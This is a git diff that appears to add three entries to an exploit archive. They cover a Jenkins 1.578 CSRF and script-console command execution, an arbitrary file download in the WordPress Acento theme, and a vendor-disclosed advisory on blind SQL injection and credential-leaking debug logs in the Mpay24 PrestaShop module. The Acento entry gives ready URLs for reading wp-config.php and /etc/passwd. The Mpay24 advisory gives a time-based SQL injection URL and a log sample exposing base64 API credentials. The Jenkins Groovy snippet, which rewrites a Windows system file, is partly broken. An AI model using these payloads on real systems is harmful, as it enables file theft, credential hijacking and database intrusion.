diff --git a/files.csv b/files.csv index c3d14d2b4..1dfa27863 100755 --- a/files.csv +++ b/files.csv @@ -31136,3 +31136,6 @@ id,file,description,date,author,platform,type,port 34565,platforms/php/webapps/34565.txt,"NuSOAP 0.9.5 'nusoap.php' Cross Site Scripting Vulnerability",2010-09-03,"Bogdan Calin",php,webapps,0 34571,platforms/php/webapps/34571.py,"Joomla Spider Calendar <= 3.2.6 - SQL Injection",2014-09-08,"Claudio Viviani",php,webapps,0 34572,platforms/php/webapps/34572.txt,"Wordpress Bulk Delete Users by Email Plugin 1.0 - CSRF",2014-09-08,"Fikri Fadzil",php,webapps,0 +34578,platforms/php/webapps/34578.txt,"WordPress Acento Theme (view-pdf.php, file param) - Arbitrary File Download",2014-09-08,alieye,php,webapps,80 +34586,platforms/php/webapps/34586.txt,"Mpay24 PrestaShop Payment Module 1.5 - Multiple Vulnerabilities",2014-09-08,"Eldar Marcussen",php,webapps,80 +34587,platforms/multiple/webapps/34587.txt,"Jenkins 1.578 - Multiple Vulnerabilities",2014-09-08,JoeV,multiple,webapps,8090 diff --git a/platforms/multiple/webapps/34587.txt b/platforms/multiple/webapps/34587.txt new file mode 100755 index 000000000..ef8c20a10 --- /dev/null +++ b/platforms/multiple/webapps/34587.txt @@ -0,0 +1,56 @@ +#Affected Vendor: http://jenkins-ci.org/ +#Date: 03/09/2014 +#Discovered by: JoeV +#Type of vulnerability: CSRF and Command Execution + +#Tested on: Windows 7 +#Version : 1.578 + +#Description: Jenkins is susceptible to CSRF attack and command +execution. Using groovy one can fire any command and get it executed +by the script console thus able to access files, registry keys, values +and folders which is outbound for Jenkins. + + +#CSRF + +-------- + +#Payload: + +
+ + + + + +
+ + +Command Execution (/script) +------------------------------------- +ArrayList pids = null +PrintWriter writer = null + +File f = new File("C:/Windows/System32/Services.msc") + +if (f.length() > 0){ + pids = new ArrayList() + f.eachLine { line -> pids.add(line) } + println("Item to be removed: " + pids.get(0)) + testRunner.testCase.setPropertyValue( "personId", pid ) + pids.remove(0) + println pids + writer = new PrintWriter(f) + pids.each { id -> writer.println(id) } + writer.close() +} +else{ + println "Null" + } + +-- +Regards, + +*Joel V* \ No newline at end of file diff --git a/platforms/php/webapps/34552.txt b/platforms/php/webapps/34552.txt index 4acb93143..40c03b60e 100755 --- a/platforms/php/webapps/34552.txt +++ b/platforms/php/webapps/34552.txt @@ -1,5 +1,7 @@ Title: LoadedCommerce7 Systemic Query Factory Vulnerability +Advisory: http://breaking.technology/advisories/CVE-2014-5140.txt + Credits: Discovered by Breaking Technology Research Labs 2014-06-30 Reference: CVE-2014-5140 - Assigned 31 June 2014 diff --git a/platforms/php/webapps/34578.txt b/platforms/php/webapps/34578.txt new file mode 100755 index 000000000..87c422215 --- /dev/null +++ b/platforms/php/webapps/34578.txt @@ -0,0 +1,34 @@ +#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# Title : WordPress acento theme Arbitrary File Download Vulnerability +# Author : alieye +# vondor : http://www.wpbyexample.com/detail/acentocultural.com +# Contact : cseye_ut@yahoo.com +# Risk : High +# Class: Remote +# Date: 01/09/2014 +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + + +You can download any file from your target ;) + + +exploit: http://victim.com/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/path/wp-config.php + + +Demo: + +1-download wp-config.php file from site: + +http://server/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/homepages/44/d398221315/htdocs/wp-config.php + +2-download passwd file from root: + +http://server/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/etc/passwd + + +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +[#] Spt Tnx To ZOD14C , 4l130h1 , bully13 , 3.14nnph , amir and all cseye members +[#] Thanks To All Iranian Hackers +[#] website : http://cseye.vcp.ir/ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++ \ No newline at end of file diff --git a/platforms/php/webapps/34586.txt b/platforms/php/webapps/34586.txt new file mode 100755 index 000000000..69aac4049 --- /dev/null +++ b/platforms/php/webapps/34586.txt @@ -0,0 +1,179 @@ +Mpay24 PrestaShop Payment Module Multiple Vulnerabilities + + - · Affected Vendor: Mpay24 + - · Affected Software: Mpay24 Payment Module + - · Affected Version: 1.5 and earlier + - · Issue Type: SQL injection and information disclosure + - · Notification Date: 10 February 2014 + - · Release Date: 03 September 2014 + - · Discovered by: Eldar Marcussen + - · Issue status: Patch available + +Summary + +BAE Systems Applied Intelligence researcher, Eldar Marcussen has identified +two high impact vulnerabilities in the Mpay24 payment module for the +Prestashop e-commerce solution. + +“Mpay24 is the online-payment platform for e- and m-commerce combines +frequently used and innovative payment systems in one single interface”. [ +www.mpay24.com] + +“Prestashop is the free ecommerce solution to start your online business +and start selling online. Build an online store for free with Prestashop.” [ +www.prestashop.com] +Pre-Authentication Blind SQL Injection Requires + +Mpay24 payment module present on the website. +CVE identifier + +CVE-2014-2008 +Description + +The Mpay24 plugin version 1.5 and earlier does not sufficiently filter or +escape user supplied data used in database queries resulting in SQL +injection vulnerabilities. + +The following blind SQL injection vulnerability is caused by user supplied +data being used directly in a database query, as evidenced by the offending +code: + + confirm.php:12: Db::getInstance()->Execute(" + +confirm.php:13: UPDATE `"._DB_PREFIX_."mpay24_order` SET + +confirm.php:14: `MPAYTID` = ".$_REQUEST['MPAYTID'].", + +confirm.php:15: `STATUS` = '".$_REQUEST['STATUS']."' + +confirm.php:16: WHERE `TID` = '".$_REQUEST['TID']."' + +confirm.php:17: "); +Impact + +Using this vulnerability, BAE Systems was able to extract information +directly from the database, bypassing any restrictions that may be enforced +by the application. + + + Proof of Concept + +The following URL introduces an artificial delay in the page response time +which can be used by an attacker to extract data from the database: + + +http://target/path/modules/mpay24/confirm.php?MPAYTID=1&STATUS=bbb&TID=a%27%20or%20%27a%27%20in%20%28select%20IF%28SUBSTR%28@@version,1,1%29=5,BENCHMARK%281000000,SHA1%280xDEADBEEF%29%29,%20false%29%29;%20--+ +Recommendation + +Use prepared statements to ensure the structure of the database query +remains intact. +Pre-Authentication Information Disclosure Requires + +Mpay24 configured with debug enabled (default value until version 1.6). +CVE identifier + +CVE-2014-2009 +Description + +The Mpay24 plugin logs raw curl requests and other debugging information to +the payment gateway by default. This log file is publicly accessible and +contains information valuable to an attacker, including the base64 encoded +credentials used by the merchant to access the Mpay24 API. +Impact + +Using this vulnerability, BAE Systems was able to obtain Mpay24 API +credentials and the local path of the Prestashop installation. The attacker +can use the API credentials to hijack the merchants API access and leverage +the local path disclosure with other exploits. +Proof of Concept + +URL: http://target/path/modulesmapy24/api/curllog.log + + * About to connect() to test.mpay24.com port 443 (#0) + +* Trying 213.164.23.169... + +* connected + +* Connected to test.mpay24.com (213.164.23.169) port 443 (#0) + +* successfully set certificate verify locations: + +* CAfile: /var/www/prestashop/modules/mpay24/api/cacert.pem + + CApath: /etc/ssl/certs + +* SSL connection using DHE-RSA-AES256-GCM-SHA384 + +* Server certificate: + +* subject: OU=Domain Control Validated; OU=Provided by EUNETIC GmbH; +OU=EuropeanSSL Single; CN=test.mpay24.com + +* start date: 2013-05-13 00:00:00 GMT + +* expire date: 2015-05-13 23:59:59 GMT + +* subjectAltName: test.mpay24.com matched + +* issuer: C=DE; O=EUNETIC GmbH; CN=EuropeanSSL Server CA + +* SSL certificate verify ok. + +* Server auth using Basic with user 'u91234' + +> POST /app/bin/etpproxy_v15 HTTP/1.1 + +Authorization: Basic dTkxMjM0OlNPQVAxMjM= + +User-Agent: mPAY24 PHP API $Rev: 5522 $ ($Date:: 2013-06-24 #$) + +Host: test.mpay24.com + +Accept: */* + +Content-Length: 423 + +Content-Type: application/x-www-form-urlencoded + + + +* upload completely sent off: 423 out of 423 bytes + +* additional stuff not fine transfer.c:1037: 0 0 + +* HTTP 1.1 or later with persistent connection, pipelining supported + +< HTTP/1.1 401 Authorization Required + +< Date: Sun, 09 Feb 2014 21:04:21 GMT + +< Server: Apache + +* Authentication problem. Ignoring this. + +< WWW-Authenticate: Basic realm="mPAY24 WebService" + +< Content-Length: 401 + +< Content-Type: text/html; charset=iso-8859-1 + +< + +* Connection #0 to host test.mpay24.com left intact + +* Closing connection #0 +Recommendation + +Restrict access to webpages containing sensitive functionality or data to +authenticated users. +End User Recommendation + +Update your Mpay24 plugin to version 1.6 or later. +Response Timeline + + - 10/02/2014 – Vendor notified + - 13/02/2014 – Patch available through GitHub + - 19/02/2014 – CVE identifiers assigned + +03/09/2014 – Advisory released \ No newline at end of file